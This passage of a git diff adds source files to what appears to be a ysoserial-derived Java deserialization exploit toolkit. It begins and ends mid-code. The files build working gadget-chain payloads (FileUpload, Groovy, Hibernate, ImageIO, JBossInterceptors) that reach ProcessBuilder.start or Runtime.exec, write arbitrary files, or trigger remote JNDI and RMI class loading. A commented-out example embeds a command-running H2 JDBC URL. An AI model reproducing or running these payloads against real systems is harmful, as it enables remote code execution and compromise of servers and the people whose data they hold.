3 && "write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } else if (parts.length == 3 && "writeB64".equals(parts[0])) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } else if (parts.length == 3 && "writeOld".equals(parts[0])) { + return writePre131(parts[1], parts[2].getBytes("US-ASCII")); + } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) { + return writePre131(parts[1], Base64.decodeBase64(parts[2])); + } else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + public void release(DiskFileItem obj) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } + + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + + // writes data to an arbitrary file + private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy.java new file mode 100644 index 0000000..4a9e279 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy.java @@ -0,0 +1,22 @@ +package com.qi4l.JYso.gadgets; + +import groovy.util.Expando; +import org.codehaus.groovy.runtime.MethodClosure; + +public class Groovy implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + Object e = makeGroovy(command); + UtilFactory uf = new UtilFactory(); + return uf.makeHashCodeTrigger(e); + } + + public static Object makeGroovy(String command) throws Exception { + Expando expando = new Expando(); + ProcessBuilder pb = new ProcessBuilder(command); + MethodClosure mc = new MethodClosure(pb, "start"); + expando.setProperty("hashCode", mc); + return expando; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java new file mode 100644 index 0000000..f7a339a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy1.java @@ -0,0 +1,36 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * PriorityQueue.readObject() + * Comparator.compare() (Proxy) + * ConvertedClosure.invoke() + * MethodClosure.call() + * ... + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * groovy + */ +@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) +@Authors({Authors.FROHOFF}) +public class Groovy1 implements ObjectPayload { + + public InvocationHandler getObject(String command) throws Exception { + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + final Map map = Gadgets.createProxy(closure, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); + return handler; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java new file mode 100644 index 0000000..090cc11 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy2.java @@ -0,0 +1,32 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.codehaus.groovy.runtime.GStringImpl; +import org.codehaus.groovy.runtime.MethodClosure; + +import javax.management.BadAttributeValueExpException; + +@Dependencies({"org.codehaus.groovy:groovy <2.4.3"}) +@Authors({Authors.Unam4}) +public class Groovy2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure"); + Reflections.setFieldValue(execute,"owner",command); + Reflections.setFieldValue(execute,"method","execute"); + GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"}); + try { + Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); + Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true); + } catch (Exception e){ + Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); + } + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val,"val",gString); + Reflections.setFieldValue(gString,"values",(new Object[]{execute})); + return val; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java new file mode 100644 index 0000000..4015a48 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java @@ -0,0 +1,171 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.hibernate.EntityMode; +import org.hibernate.engine.spi.TypedValue; +import org.hibernate.tuple.component.AbstractComponentTuplizer; +import org.hibernate.tuple.component.PojoComponentTuplizer; +import org.hibernate.type.AbstractType; +import org.hibernate.type.ComponentType; +import org.hibernate.type.Type; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + + +/** + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + *

+ * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + * + * @author mbechler + */ +@Authors({Authors.MBECHLER}) +public class Hibernate1 implements ObjectPayload, DynamicDependencies { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } + + public static String[] getDependencies() { + if (System.getProperty("hibernate5") != null) { + return new String[]{ + "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2" + }; + } + + return new String[]{ + "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", + "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" + }; + + } + + + public static Object makeGetter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException, + IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { + if (System.getProperty("hibernate5") != null) { + return makeHibernate5Getter(tplClass, method); + } + return makeHibernate4Getter(tplClass, method); + } + + + public static Object makeHibernate4Getter(Class tplClass, String method) throws ClassNotFoundException, NoSuchMethodException, + SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); + Constructor bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); + Reflections.setAccessible(bgCon); + + if (!method.startsWith("get")) { + throw new IllegalArgumentException("Hibernate4 can only call getters"); + } + + String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); + + Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + + public static Object makeHibernate5Getter(Class tplClass, String method) throws NoSuchMethodException, SecurityException, + ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { + Class getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); + Class basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); + Constructor bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); + Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); + Object arr = Array.newInstance(getterIf, 1); + Array.set(arr, 0, g); + return arr; + } + + static Object makeCaller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + if (System.getProperty("hibernate3") != null) { + return makeHibernate3Caller(tpl, getters); + } + return makeHibernate45Caller(tpl, getters); + } + + static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + Reflections.setFieldValue(t, "componentTuplizer", tup); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[]{ + t + }); + + TypedValue v1 = new TypedValue(t, null); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + TypedValue v2 = new TypedValue(t, null); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } + + static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, + InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { + // Load at runtime to avoid dependency conflicts + Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); + Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); + Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); + + PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); + Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); + Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); + + ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); + HashMap hm = new HashMap(); + hm.put(EntityMode.POJO, tup); + Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm}); + Reflections.setFieldValue(t, "tuplizerMapping", emtm); + Reflections.setFieldValue(t, "propertySpan", 1); + Reflections.setFieldValue(t, "propertyTypes", new Type[]{ + t + }); + + Constructor typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); + Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Reflections.setFieldValue(v1, "value", tpl); + Reflections.setFieldValue(v1, "type", t); + + Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); + Reflections.setFieldValue(v2, "value", tpl); + Reflections.setFieldValue(v2, "type", t); + + return Gadgets.makeMap(v1, v2); + } + + public Object getObject(String command) throws Exception { + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); + return makeCaller(tpl, getters); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java new file mode 100644 index 0000000..a33035d --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate2.java @@ -0,0 +1,53 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.sun.rowset.JdbcRowSetImpl; + +/** + * Another application filter bypass + *

+ * Needs a getter invocation that is provided by hibernate here + *

+ * javax.naming.InitialContext.InitialContext.lookup() + * com.sun.rowset.JdbcRowSetImpl.connect() + * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() + * org.hibernate.property.access.spi.GetterMethodImpl.get() + * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() + * org.hibernate.type.ComponentType.getPropertyValue(C) + * org.hibernate.type.ComponentType.getHashCode() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.engine.spi.TypedValue$1.initialize() + * org.hibernate.internal.util.ValueHolder.getValue() + * org.hibernate.engine.spi.TypedValue.hashCode() + *

+ *

+ * Requires: + * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) + *

+ * Arg: + * - JNDI name (i.e. rmi:) + *

+ * Yields: + * - JNDI lookup invocation (e.g. connect to remote RMI) + * + * @author mbechler + */ +@Authors({Authors.MBECHLER}) +public class Hibernate2 implements ObjectPayload, DynamicDependencies { + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAtLeast(7); + } + + public static String[] getDependencies() { + return Hibernate1.getDependencies(); + } + + public Object getObject(String command) throws Exception { + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(command); + return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData")); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java new file mode 100644 index 0000000..d75df03 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java @@ -0,0 +1,75 @@ +package com.qi4l.JYso.gadgets; + +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +import com.alibaba.fastjson.JSONArray; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; + +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + +@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina","com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) +@Authors({Authors.Unam4}) +public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { + @Override + public Object getObject(String command) throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl"); + CtClass serializable = pool.get("java.io.Serializable"); + driverconimpl.addInterface(serializable); + insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;"); + insertField(driverconimpl, "url", "private String url;"); + insertField(driverconimpl, "poolSize", "private int poolSize;"); + insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();"); + + + CtMethod make = CtMethod.make( + "public void configure(java.util.Map configurationValues) { " + + "this.url = (String) configurationValues.get(\"hibernate.connection.url\");" + + "this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" + + "this.pool = new java.util.ArrayList();" + + "}", driverconimpl); + driverconimpl.addMethod(make); + + + Class clazz = driverconimpl.toClass(); + Object o1 = clazz.newInstance(); + HashMap map1 = new HashMap<>(); + map1.put("hibernate.connection.url", command); + map1.put("hibernate.connection.pool_size", "0"); + + clazz.getMethod("configure", Map.class).invoke(o1, map1); + + JSONArray jsonArray = new JSONArray(); + jsonArray.add(o1); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, jsonArray); + + HashMap hashMap = new HashMap(); + hashMap.put(o1, val); + return hashMap; + } + +// public static void main(String[] args) throws Exception{ +// Hibernate3JDBC hibernate3JDBC = new Hibernate3JDBC(); +// String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + +// "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + +// "java.lang.Runtime.getRuntime().exec('open .')\n" + +// "$$\n"; +// Object object = hibernate3JDBC.getObject(JDBC_URL); +// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./c3p0")); +// outputStream.writeObject(object); +// outputStream.close(); +// +// } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java b/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java new file mode 100644 index 0000000..7db04a9 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Collections; + +public class ImageIO implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + String args[] = {command}; + return makeImageIO(uf, args); + } + public static Object makeImageIO ( UtilFactory uf, String[] args ) throws Exception { + ProcessBuilder pb = new ProcessBuilder(args); + Class cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter"); + Constructor cfCons = cfCl.getDeclaredConstructor(Method.class, String.class); + cfCons.setAccessible(true); + + // nest two instances, the 'next' of the other one will be skipped, + // the inner instance then provides the actual target object + Object filterIt = makeFilterIterator( + makeFilterIterator(Collections.emptyIterator(), pb, null), + "foo", + cfCons.newInstance(ProcessBuilder.class.getMethod("start"), "foo")); + + return uf.makeIteratorTrigger(filterIt); + } + public static Object makeFilterIterator ( Object backingIt, Object first, Object filter ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { + Class fiCl = Class.forName("javax.imageio.spi.FilterIterator"); + Object filterIt = Reflections.createWithoutConstructor(fiCl); + Reflections.setFieldValue(filterIt, "iter", backingIt); + Reflections.setFieldValue(filterIt, "next", first); + Reflections.setFieldValue(filterIt, "filter", filter); + return filterIt; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java b/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java new file mode 100644 index 0000000..d7d3ce2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java @@ -0,0 +1,74 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.interceptor.builder.InterceptionModelBuilder; +import org.jboss.interceptor.builder.MethodReference; +import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.interceptor.reader.DefaultMethodMetadata; +import org.jboss.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.interceptor.spi.metadata.InterceptorReference; +import org.jboss.interceptor.spi.metadata.MethodMetadata; +import org.jboss.interceptor.spi.model.InterceptionModel; +import org.jboss.interceptor.spi.model.InterceptionType; + +import java.lang.reflect.Constructor; +import java.util.*; + + +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Authors({Authors.MATTHIASKAISER}) +public class JBossInterceptors1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + Reflections.setAccessible(defaultMethodMetadataConstructor); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return tpl; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java b/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java new file mode 100644 index 0000000..899eb03 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java @@ -0,0 +1,280 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl; +import com.sun.rowset.JdbcRowSetImpl; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import javax.activation.DataHandler; +import javax.activation.DataSource; +import javax.crypto.Cipher; +import javax.crypto.CipherInputStream; +import javax.crypto.NullCipher; +import javax.management.loading.MLet; +import javax.naming.*; +import javax.naming.directory.DirContext; +import javax.naming.directory.SearchResult; +import java.io.InputStream; +import java.lang.reflect.*; +import java.math.BigInteger; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; +import java.rmi.RemoteException; +import java.rmi.server.ObjID; +import java.util.*; +import java.util.ServiceLoader; + +public class JDKUtil { + /** + * + */ + private JDKUtil() {} + + + public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiUrl); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + return rs; + } + + + public static DirContext makeContinuationContext (String codebase, String clazz ) throws Exception { + Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ + Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); + ccCons.setAccessible(true); + CannotProceedException cpe = new CannotProceedException(); + Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]); + cpe.setResolvedObj(new Reference("Foo", clazz, codebase)); + return (DirContext) ccCons.newInstance(cpe, null); + } + + + @SuppressWarnings ( "resource" ) + public static Object makeIteratorTriggerNative ( UtilFactory uf, Object it ) throws Exception, ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException { + Cipher m = Reflections.createWithoutConstructor(NullCipher.class); + Reflections.setFieldValue(m, "serviceIterator", it); + Reflections.setFieldValue(m, "lock", new Object()); + + InputStream cos = new CipherInputStream(null, m); + + Class niCl = Class.forName("java.lang.ProcessBuilder$NullInputStream"); //$NON-NLS-1$ + Constructor niCons = niCl.getDeclaredConstructor(); + niCons.setAccessible(true); + + Reflections.setFieldValue(cos, "input", niCons.newInstance()); + Reflections.setFieldValue(cos, "ibuffer", new byte[0]); + + Object b64Data = Class.forName("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data").newInstance(); + DataSource ds = (DataSource) Reflections + .createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource")); //$NON-NLS-1$ + Reflections.setFieldValue(ds, "is", cos); + Reflections.setFieldValue(b64Data, "dataHandler", new DataHandler(ds)); + Reflections.setFieldValue(b64Data, "data", null); + + Object nativeString = Reflections.createWithoutConstructor(Class.forName("jdk.nashorn.internal.objects.NativeString")); + Reflections.setFieldValue(nativeString, "value", b64Data); + return uf.makeHashCodeTrigger(nativeString); + } + + + public static Object adaptEnumerationToIterator ( Enumeration enu ) throws ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException, Exception { + Class clIt = Class.forName("sun.misc.Service$LazyIterator"); + Constructor licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class); + licons.setAccessible(true); + ServiceLoader sl = Reflections.createWithoutConstructor(ServiceLoader.class); + Object iter = licons.newInstance(null, null); + Reflections.setFieldValue(sl, "providers", new LinkedHashMap<>()); + Reflections.setFieldValue(iter, "configs", enu); + return iter; + } + + + public static Iterator makeServiceIterator (ClassLoader cl, Class service ) throws Exception { + Class clIt = Class.forName("sun.misc.Service$LazyIterator"); + Constructor lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class); + lciCons.setAccessible(true); + return (Iterator) lciCons.newInstance(service, cl); + } + + + public static Iterable makeServiceLoader ( ClassLoader cl, Class service ) throws Exception { + return ServiceLoader.load(service, cl); + } + + + public static URLClassLoader makeURLClassLoader (String url ) throws MalformedURLException, Exception { + URLClassLoader ucl = new URLClassLoader(new URL[] { + new URL(url) + }); + Reflections.setFieldValue(ucl, "parent", null); + Reflections.setFieldValue(ucl, "domains", new HashSet<>()); + Reflections.setFieldValue(ucl, "defaultDomain", null); + Reflections.setFieldValue(ucl, "acc", null); + + Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null); + return ucl; + } + + + public static URLClassLoader makeMLet ( String url ) throws MalformedURLException, Exception { + URLClassLoader ucl = new MLet(new URL[] { + new URL(url) + }); + Reflections.setFieldValue(ucl, "parent", null); + Reflections.setFieldValue(ucl, "domains", new HashSet<>()); + Reflections.setFieldValue(ucl, "defaultDomain", null); + Reflections.setFieldValue(ucl, "acc", null); + + Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null); + return ucl; + } + + + @SuppressWarnings ( "unchecked" ) + public static Enumeration makeLazySearchEnumeration ( String codebase, String clazz ) throws Exception { + DirContext ctx = makeContinuationContext(codebase, clazz); + NamingEnumeration inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class); + Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null)); + return new LazySearchEnumerationImpl((NamingEnumeration) inner, null, null); + } + + + public static Enumeration makeBindingEnumeration ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException, Exception, NamingException, RemoteException { + Class cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration"); + Object enu = Reflections.createWithoutConstructor(cl); + Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz))); + Reflections.setFieldValue(enu, "names", new String[] { + "exp" + }); + Reflections.setFieldValue(enu, "nextName", 0); + return (Enumeration) enu; + } + + + private static Object makeRegistryImpl ( String codebase, String clazz ) throws IllegalArgumentException, Exception { + Class regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry"); + Object reg = Reflections.createWithoutConstructor(regcl); + Reflections.setFieldValue(reg, "name", "exp"); + + TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1337); + LiveRef liveRef = new LiveRef(new ObjID(), te, true); + UnicastRef value = new UnicastRef(liveRef); + Reflections.setFieldValue(reg, "ref", value); + Reflections.setFieldValue(reg, "object", makeReference(codebase, clazz)); + return reg; + } + + + private static ReferenceWrapper makeReference (String codebase, String clazz ) throws Exception { + Reference ref = new Reference("Foo", clazz, codebase); + ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class); + Reflections.setFieldValue(wrapper, "wrappee", ref); + Reflections.setFieldValue(wrapper, "ref", Reflections.createWithoutConstructor(sun.rmi.server.UnicastServerRef.class)); + return wrapper; + } + + + private static Object makeRegistryContext ( Object regi ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException, Exception { + Class regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext"); + Object regctx = Reflections.createWithoutConstructor(regctxcl); + 